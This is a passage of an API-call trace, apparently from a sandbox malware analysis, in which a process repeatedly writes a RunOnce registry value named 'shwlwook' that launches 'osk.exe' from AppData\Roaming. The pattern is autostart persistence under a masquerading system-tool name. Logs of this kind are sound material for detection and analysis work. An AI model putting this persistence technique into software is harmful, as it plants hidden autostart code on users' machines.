lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.790] RegCloseKey (hKey=0x14c) returned 0x0 [0257.790] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.791] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.804] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.804] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.805] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.805] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.805] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.806] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.806] RegCloseKey (hKey=0x14c) returned 0x0 [0257.806] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.806] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.820] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.820] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.821] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.821] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.821] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.821] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.822] RegCloseKey (hKey=0x14c) returned 0x0 [0257.822] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.822] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.836] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.836] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.836] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.837] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.837] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.837] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.837] RegCloseKey (hKey=0x14c) returned 0x0 [0257.838] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.838] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.851] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.851] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.852] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.852] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.852] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.853] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.853] RegCloseKey (hKey=0x14c) returned 0x0 [0257.853] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.853] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.867] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.867] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.867] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.868] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.868] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.868] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.868] RegCloseKey (hKey=0x14c) returned 0x0 [0257.868] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.869] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.883] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.883] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.883] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.883] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.884] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.884] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.884] RegCloseKey (hKey=0x14c) returned 0x0 [0257.884] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.885] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.900] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.900] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.900] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.901] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.901] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.901] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.902] RegCloseKey (hKey=0x14c) returned 0x0 [0257.902] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.902] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.930] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.930] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.930] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.931] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.931] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.931] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.931] RegCloseKey (hKey=0x14c) returned 0x0 [0257.931] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.932] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.945] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.945] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.945] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.946] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.946] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.946] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.947] RegCloseKey (hKey=0x14c) returned 0x0 [0257.947] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.947] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.963] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.963] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.963] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.964] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.964] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.964] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.964] RegCloseKey (hKey=0x14c) returned 0x0 [0257.965] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.965] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.992] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.992] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.992] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.993] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.993] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.993] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.993] RegCloseKey (hKey=0x14c) returned 0x0 [0257.994] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.994] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.008] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.008] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.008] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.009] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.009] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.009] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.009] RegCloseKey (hKey=0x14c) returned 0x0 [0258.009] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.010] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.023] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.023] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.023] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.024] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.024] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.024] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.025] RegCloseKey (hKey=0x14c) returned 0x0 [0258.025] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.025] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.041] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.041] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.041] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.042] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.042] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, 